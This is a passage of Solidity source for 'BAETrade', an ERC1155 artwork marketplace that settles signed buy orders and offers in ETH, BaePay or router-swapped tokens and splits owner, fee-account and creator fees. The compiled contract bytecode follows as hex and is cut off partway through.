(uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BAETrade { using SafeMath for uint256; //using SafeERC20 for IUniswapV2Pair; modifier onlyOwner { assert(msg.sender == owner); _; } mapping (bytes32 => uint256) public orderFills; address payable public owner; address payable public feeAccount; address public weth; address[] path = new address[](2); uint256[] amounts; address public baePay; address public router; address public baeContract; uint256 public fee = 40; uint256 public creatorFee = 50; mapping (bytes32 => bool) public traded; event Order(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s); event Cancel(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s); event Trade(uint256 tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address get, address give, bytes32 hash); constructor(address router_, address baePay_, address baeContract_, address weth_) { owner = 0x486082148bc8Dc9DEe8c9E53649ea148291FF292; feeAccount = 0x44e86f37792D4c454cc836b91c84D7fe8224220b; weth = weth_; path[0] = weth_; baePay = baePay_; router = router_;//0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; baeContract = baeContract_; IERC20(weth).approve(router, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } modifier onlyAdmin { require(msg.sender == owner, "Not Owner"); _; } receive() external payable { } function changeFee(uint256 _amount) public onlyAdmin{ fee = _amount; } function changeCreatorFee(uint256 _amount) public onlyAdmin{ creatorFee = _amount; } function invalidateOrder(uint256[5] memory tradeValues, address[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public{ bytes32 orderHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4])); require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) == tradeAddresses[1], "Invalid Order"); orderFills[orderHash] = tradeValues[1]; } function isValidOrder(uint256[5] memory tradeValues, address[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public view returns(bool) { bytes32 orderHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4])); if(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) != tradeAddresses[1]){ return false; } if(IERC1155(baeContract).balanceOf(tradeAddresses[1], tradeValues[0]) < tradeValues[1] - orderFills[orderHash]){ return false; } if(tradeValues[3] < block.timestamp){ return false; } return true; } function isValidOffer(uint256[5] memory tradeValues, address[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public view returns(bool) { bytes32 offerHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4])); if(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", offerHash)), v, rs[0], rs[1]) != tradeAddresses[1]){ return false; } if(tradeValues[3] < block.timestamp){ return false; } return true; } function buyArtwork(uint256[6] memory tradeValues, address[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public payable returns (bool success) { require(tradeValues[3] > block.timestamp, "Expired"); require(tradeAddresses[0] != address(0), "ETH Trade"); /* amount is in amountBuy terms */ /* tradeValues [0] token [1] prints [2] price [3] expires [4] nonce [5] amount tradeAddressses [0] tokenSell [1] maker */ bytes32 orderHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4])); require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) == tradeAddresses[1], "Invalid Order"); require(orderFills[orderHash].add(tradeValues[5]) <= tradeValues[1], "Trade amount too high"); if(tradeAddresses[0] == baePay){ path[1] = tradeAddresses[0]; amounts = IUniswapV2Router02(router).swapETHForExactTokens{value: msg.value}(tradeValues[2].mul(tradeValues[5]), path, address(this), block.timestamp + 2000); IERC1155(baeContract).safeTransferFrom(tradeAddresses[1], msg.sender, tradeValues[0], tradeValues[5],""); IERC20(tradeAddresses[0]).transfer(tradeAddresses[1], tradeValues[2].mul(tradeValues[5])); } else if(tradeAddresses[0] != address(0)){ path[1] = tradeAddresses[0]; amounts = IUniswapV2Router02(router).swapETHForExactTokens{value: msg.value}(tradeValues[2].mul(tradeValues[5]), path, address(this), block.timestamp + 2000); IERC1155(baeContract).safeTransferFrom(tradeAddresses[1], msg.sender, tradeValues[0], tradeValues[5],""); IERC20(tradeAddresses[0]).transfer(feeAccount, tradeValues[2].mul(tradeValues[5]).mul(10).div(1000)); IERC20(tradeAddresses[0]).transfer(owner, tradeValues[2].mul(tradeValues[5]).mul(fee).div(1000)); IERC20(tradeAddresses[0]).transfer(IERC1155(baeContract).creators(tradeValues[0]), tradeValues[2].mul(tradeValues[5]).mul(creatorFee).div(1000)); IERC20(tradeAddresses[0]).transfer(tradeAddresses[1], tradeValues[2].mul(tradeValues[5]).mul(1000 - fee - creatorFee - 10).div(1000)); } (bool success4, ) = msg.sender.call{value: msg.value - amounts[0]}(new bytes(0)); require(success4, 'Could Not return Leftover ETH'); orderFills[orderHash] = orderFills[orderHash].add(tradeValues[5]); emit Trade(tradeValues[0], tradeValues[5], tradeAddresses[0], tradeValues[2].mul(tradeValues[5]), msg.sender, tradeAddresses[1], orderHash); return true; } function buyArtworkETH(uint256[6] memory tradeValues, address payable[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public payable returns (bool success) { require(tradeValues[3] > block.timestamp, "Expired"); require(tradeAddresses[0] == address(0), "Not an ETH Trade"); /* amount is in amountBuy terms */ /* tradeValues [0] token [1] prints [2] price [3] expires [4] nonce [5] amount tradeAddressses [0] tokenSell [1] maker */ bytes32 orderHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4])); require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) == tradeAddresses[1], "Invalid Order"); require(orderFills[orderHash].add(tradeValues[5]) <= tradeValues[1], "Trade amount too high"); require(msg.value >= tradeValues[2].mul(tradeValues[5]), "Insufficent Balance"); uint256 amount = (tradeValues[2].mul(tradeValues[5]) ); IERC1155(baeContract).safeTransferFrom(tradeAddresses[1], msg.sender, tradeValues[0], tradeValues[5],""); feeAccount.transfer(amount.mul(10).div(1000)); owner.transfer(amount.mul(fee).div(1000)); payable(IERC1155(baeContract).creators(tradeValues[0])).transfer(amount.mul(creatorFee).div(1000)); tradeAddresses[1].transfer(amount.mul(1000 - fee - creatorFee - 10).div(1000)); msg.sender.transfer(msg.value - amount); orderFills[orderHash] = orderFills[orderHash].add(tradeValues[5]); emit Trade(tradeValues[0], tradeValues[5], tradeAddresses[0], tradeValues[2].mul(tradeValues[5]), msg.sender, tradeAddresses[1], orderHash); return true; } function payWithBae(uint256[6] memory tradeValues, address[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public payable returns (bool success) { require(tradeValues[3] > block.timestamp, "Expired"); require(IERC20(baePay).balanceOf(msg.sender) >= tradeValues[2].mul(tradeValues[5]), "You Have Insufficient Balance"); require(tradeAddresses[0] == baePay, "This Trade Does Not Accept BaePay"); bytes32 orderHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4])); require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) == tradeAddresses[1], "Invalid Order"); require(orderFills[orderHash].add(tradeValues[5]) <= tradeValues[1], "Trade amount too high"); IERC1155(baeContract).safeTransferFrom(tradeAddresses[1], msg.sender, tradeValues[0], tradeValues[5],""); IERC20(tradeAddresses[0]).transferFrom(msg.sender, tradeAddresses[1], tradeValues[2].mul(tradeValues[5])); orderFills[orderHash] = orderFills[orderHash].add(tradeValues[5]); emit Trade(tradeValues[0], tradeValues[5], tradeAddresses[0], tradeValues[2].mul(tradeValues[5]), msg.sender, tradeAddresses[1], orderHash); return true; } function acceptOfferRequest(uint256[6] memory tradeValues, address[2] memory tradeAddresses, uint8 v, bytes32[2] memory rs) public payable returns (bool success) { require(tradeValues[3] > block.timestamp, "Expired"); //require(tradeAddresses[0] != baePay, ""); /* amount is in amountBuy terms */ /* tradeValues [0] token [1] prints [2] price [3] expires [4] nonce [5] tradeAmount tradeAddressses [0] tokenSell [1] maker */ bytes32 orderHash = keccak256(abi.encodePacked(address(this), tradeAddresses[0], tradeValues[0], tradeValues[1], tradeAddresses[1], tradeValues[2], tradeValues[3], tradeValues[4], "Offer")); require(ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", orderHash)), v, rs[0], rs[1]) == tradeAddresses[1], "Invalid Order"); require(orderFills[orderHash].add(tradeValues[5]) <= tradeValues[1], "Trade amount too high"); if(tradeAddresses[0] == baePay){ IERC20(tradeAddresses[0]).transferFrom(tradeAddresses[1], msg.sender, tradeValues[2].mul(tradeValues[5])); IERC1155(baeContract).safeTransferFrom(msg.sender, tradeAddresses[1], tradeValues[0], tradeValues[5],""); } else if(tradeAddresses[0] != address(0)){ IERC20(tradeAddresses[0]).transferFrom(tradeAddresses[1], address(this), tradeValues[2].mul(tradeValues[5])); IERC1155(baeContract).safeTransferFrom(msg.sender, tradeAddresses[1], tradeValues[0], tradeValues[5],""); IERC20(tradeAddresses[0]).transfer(feeAccount, tradeValues[2].mul(tradeValues[5]).mul(10).div(1000)); IERC20(tradeAddresses[0]).transfer(owner, tradeValues[2].mul(tradeValues[5]).mul(fee).div(1000)); IERC20(tradeAddresses[0]).transfer(IERC1155(baeContract).creators(tradeValues[0]), tradeValues[2].mul(tradeValues[5]).mul(creatorFee).div(1000)); IERC20(tradeAddresses[0]).transfer(msg.sender, tradeValues[2].mul(tradeValues[5]).mul(1000 - fee - creatorFee - 10).div(1000)); } orderFills[orderHash] = orderFills[orderHash].add(tradeValues[5]); emit Trade(tradeValues[0], tradeValues[5], tradeAddresses[0], tradeValues[2].mul(tradeValues[5]), tradeAddresses[1], msg.sender, orderHash); return true; } }
0x6080604052600436106101185760003560e01c80639fe93626116100a0578063e3c55e4011610064578063e3c55e4014610973578063e88958dc146109ae578063f7213db6146109d9578063f792942e14610a28578063f887ea4014610b335761011f565b80639fe9362614610693578063b630c5c0146106d4578063cf4b4d64146107ec578063d5813323146108f7578063ddca3f43146109485761011f565b80633fc8cef3116100e75780633fc8cef31461048a57806365e17c9d146104cb5780636a1db1bf1461050c5780638a366a28146105475780638da5cb5b146106525761011f565b80630c524973146101245780630e22feef146101655780631611d69f1461027d57806332464b4c146103885761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610b74565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561017157600080fd5b50610265600480360361014081101561018957600080fd5b810190808060a001906005806020026040519081016040528092919082600560200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050610b9a565b60405180821515815260200191505060405180910390f35b610370600480360361016081101561029457600080fd5b810190808060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050610f35565b60405180821515815260200191505060405180910390f35b34801561039457600080fd5b5061048860048036036101408110156103ac57600080fd5b810190808060a001906005806020026040519081016040528092919082600560200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f82011690508083019250505050505091929192905050506118fa565b005b34801561049657600080fd5b5061049f611bd3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104d757600080fd5b506104e0611bf9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561051857600080fd5b506105456004803603602081101561052f57600080fd5b8101908080359060200190929190505050611c1f565b005b61063a600480360361016081101561055e57600080fd5b810190808060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611cec565b60405180821515815260200191505060405180910390f35b34801561065e57600080fd5b50610667612d14565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561069f57600080fd5b506106a8612d3a565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106e057600080fd5b506107d460048036036101408110156106f857600080fd5b810190808060a001906005806020026040519081016040528092919082600560200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050612d60565b60405180821515815260200191505060405180910390f35b6108df600480360361016081101561080357600080fd5b810190808060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050612fd8565b60405180821515815260200191505060405180910390f35b34801561090357600080fd5b506109306004803603602081101561091a57600080fd5b8101908080359060200190929190505050613b10565b60405180821515815260200191505060405180910390f35b34801561095457600080fd5b5061095d613b30565b6040518082815260200191505060405180910390f35b34801561097f57600080fd5b506109ac6004803603602081101561099657600080fd5b8101908080359060200190929190505050613b36565b005b3480156109ba57600080fd5b506109c3613c03565b6040518082815260200191505060405180910390f35b3480156109e557600080fd5b50610a12600480360360208110156109fc57600080fd5b8101908080359060200190929190505050613c09565b6040518082815260200191505060405180910390f35b610b1b6004803603610160811015610a3f57600080fd5b810190808060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f820116905080830192505050505050919291929080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290803560ff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050613c21565b60405180821515815260200191505060405180910390f35b348015610b3f57600080fd5b50610b48615281565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000803085600060028110610bab57fe5b602002015187600060058110610bbd57fe5b602002015188600160058110610bcf57fe5b602002015188600160028110610be157fe5b60200201518a600260058110610bf357fe5b60200201518b600360058110610c0557fe5b60200201518c600460058110610c1757fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b81526014018481526020018381526020018281526020019850505050505050505060405160208183030381529060405280519060200120905084600160028110610ccd57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001208686600060028110610d4757fe5b602002015187600160028110610d5957fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610db2573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614610de1576000915050610f2d565b6000808281526020019081526020016000205486600160058110610e0157fe5b602002015103600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e87600160028110610e5157fe5b602002015189600060058110610e6357fe5b60200201516040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b158015610eb957600080fd5b505afa158015610ecd573d6000803e3d6000fd5b505050506040513d6020811015610ee357600080fd5b81019080805190602001909291905050501015610f04576000915050610f2d565b4286600360058110610f1257fe5b60200201511015610f27576000915050610f2d565b60019150505b949350505050565b60004285600360068110610f4557fe5b602002015111610fbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f457870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ff285600560068110610fcd57fe5b602002015186600260068110610fdf57fe5b60200201516152a790919063ffffffff16565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561107b57600080fd5b505afa15801561108f573d6000803e3d6000fd5b505050506040513d60208110156110a557600080fd5b8101908080519060200190929190505050101561112a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f596f75204861766520496e73756666696369656e742042616c616e636500000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168460006002811061117057fe5b602002015173ffffffffffffffffffffffffffffffffffffffff16146111e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806154af6021913960400191505060405180910390fd5b600030856000600281106111f157fe5b60200201518760006006811061120357fe5b60200201518860016006811061121557fe5b60200201518860016002811061122757fe5b60200201518a60026006811061123957fe5b60200201518b60036006811061124b57fe5b60200201518c60046006811061125d57fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b8152601401848152602001838152602001828152602001985050505050505050506040516020818303038152906040528051906020012090508460016002811061131357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182815260200191505060405160208183030381529060405280519060200120868660006002811061138d57fe5b60200201518760016002811061139f57fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156113f8573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff161461148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964204f726465720000000000000000000000000000000000000081525060200191505060405180910390fd5b8560016006811061149857fe5b60200201516114d3876005600681106114ad57fe5b60200201516000808581526020019081526020016000205461532d90919063ffffffff16565b1115611547576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f547261646520616d6f756e7420746f6f2068696768000000000000000000000081525060200191505060405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a8660016002811061159257fe5b602002015133896000600681106115a557fe5b60200201518a6005600681106115b757fe5b60200201516040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b15801561164757600080fd5b505af115801561165b573d6000803e3d6000fd5b505050508460006002811061166c57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166323b872dd338760016002811061169a57fe5b60200201516116d48a6005600681106116af57fe5b60200201518b6002600681106116c157fe5b60200201516152a790919063ffffffff16565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561174457600080fd5b505af1158015611758573d6000803e3d6000fd5b505050506040513d602081101561176e57600080fd5b8101908080519060200190929190505050506117b68660056006811061179057fe5b60200201516000808481526020019081526020016000205461532d90919063ffffffff16565b600080838152602001908152602001600020819055507fa99a0659382bd454329e4478ad17e8d2248d18852f2ae8f8899759d5378c759e866000600681106117fa57fe5b60200201518760056006811061180c57fe5b60200201518760006002811061181e57fe5b60200201516118588a60056006811061183357fe5b60200201518b60026006811061184557fe5b60200201516152a790919063ffffffff16565b338a60016002811061186657fe5b602002015187604051808881526020018781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200197505050505050505060405180910390a16001915050949350505050565b6000308460006002811061190a57fe5b60200201518660006005811061191c57fe5b60200201518760016005811061192e57fe5b60200201518760016002811061194057fe5b60200201518960026005811061195257fe5b60200201518a60036005811061196457fe5b60200201518b60046005811061197657fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b81526014018481526020018381526020018281526020019850505050505050505060405160208183030381529060405280519060200120905083600160028110611a2c57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001208585600060028110611aa657fe5b602002015186600160028110611ab857fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611b11573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614611ba4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964204f726465720000000000000000000000000000000000000081525060200191505060405180910390fd5b84600160058110611bb157fe5b6020020151600080838152602001908152602001600020819055505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ce2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74204f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060098190555050565b60004285600360068110611cfc57fe5b602002015111611d74576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f457870697265640000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60003085600060028110611d8457fe5b602002015187600060068110611d9657fe5b602002015188600160068110611da857fe5b602002015188600160028110611dba57fe5b60200201518a600260068110611dcc57fe5b60200201518b600360068110611dde57fe5b60200201518c600460068110611df057fe5b6020020151604051602001808973ffffffffffffffffffffffffffffffffffffffff1660601b81526014018873ffffffffffffffffffffffffffffffffffffffff1660601b81526014018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1660601b8152601401848152602001838152602001828152602001807f4f666665720000000000000000000000000000000000000000000000000000008152506005019850505050505050505060405160208183030381529060405280519060200120905084600160028110611ece57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c01828152602001915050604051602081830303815290604052805190602001208686600060028110611f4857fe5b602002015187600160028110611f5a57fe5b602002015160405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611fb3573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff1614612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f496e76616c6964204f726465720000000000000000000000000000000000000081525060200191505060405180910390fd5b8560016006811061205357fe5b602002015161208e8760056006811061206857fe5b60200201516000808581526020019081526020016000205461532d90919063ffffffff16565b1115612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f547261646520616d6f756e7420746f6f2068696768000000000000000000000081525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560006002811061214857fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614156123a7578460006002811061217657fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166323b872dd866001600281106121a357fe5b6020020151336121de8a6005600681106121b957fe5b60200201518b6002600681106121cb57fe5b60200201516152a790919063ffffffff16565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561224e57600080fd5b505af1158015612262573d6000803e3d6000fd5b505050506040513d602081101561227857600080fd5b810190808051906020019092919050505050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a33876001600281106122d657fe5b6020020151896000600681106122e857fe5b60200201518a6005600681106122fa57fe5b60200201516040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b15801561238a57600080fd5b505af115801561239e573d6000803e3d6000fd5b50505050612b9a565b600073ffffffffffffffffffffffffffffffffffffffff16856000600281106123cc57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1614612b9957846000600281106123f957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016002811061242657fe5b6020020151306124618a60056006811061243c57fe5b60200201518b60026006811061244e57fe5b60200201516152a790919063ffffffff16565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156124d157600080fd5b505af11580156124e5573d6000803e3d6000fd5b505050506040513d60208110156124fb57600080fd5b810190808051906020019092919050505050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a338760016002811061255957fe5b60200201518960006006811061256b57fe5b60200201518a60056006811061257d57fe5b60200201516040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b15801561260d57600080fd5b505af1158015612621573d6000803e3d6000fd5b505050508460006002811061263257fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166126d16103e86126c3600a6126b58d60056006811061269057fe5b60200201518e6002600681106126a257fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561272457600080fd5b505af1158015612738573d6000803e3d6000fd5b505050506040513d602081101561274e57600080fd5b8101908080519060200190929190505050508460006002811061276d57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661280d6103e86127ff6009546127f18d6005600681106127cc57fe5b60200201518e6002600681106127de57fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561286057600080fd5b505af1158015612874573d6000803e3d6000fd5b505050506040513d602081101561288a57600080fd5b810190808051906020019092919050505050846000600281106128a957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd53d08e8960006006811061291457fe5b60200201516040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561294d57600080fd5b505afa158015612961573d6000803e3d6000fd5b505050506040513d602081101561297757600080fd5b81019080805190602001909291905050506129e56103e86129d7600a546129c98d6005600681106129a457fe5b60200201518e6002600681106129b657fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612a3857600080fd5b505af1158015612a4c573d6000803e3d6000fd5b505050506040513d6020811015612a6257600080fd5b81019080805190602001909291905050505084600060028110612a8157fe5b602002015173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33612b096103e8612afb600a80546009546103e8030303612aed8d600560068110612ac857fe5b60200201518e600260068110612ada57fe5b60200201516152a790919063ffffffff16565b6152a790919063ffffffff16565b6153b590919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b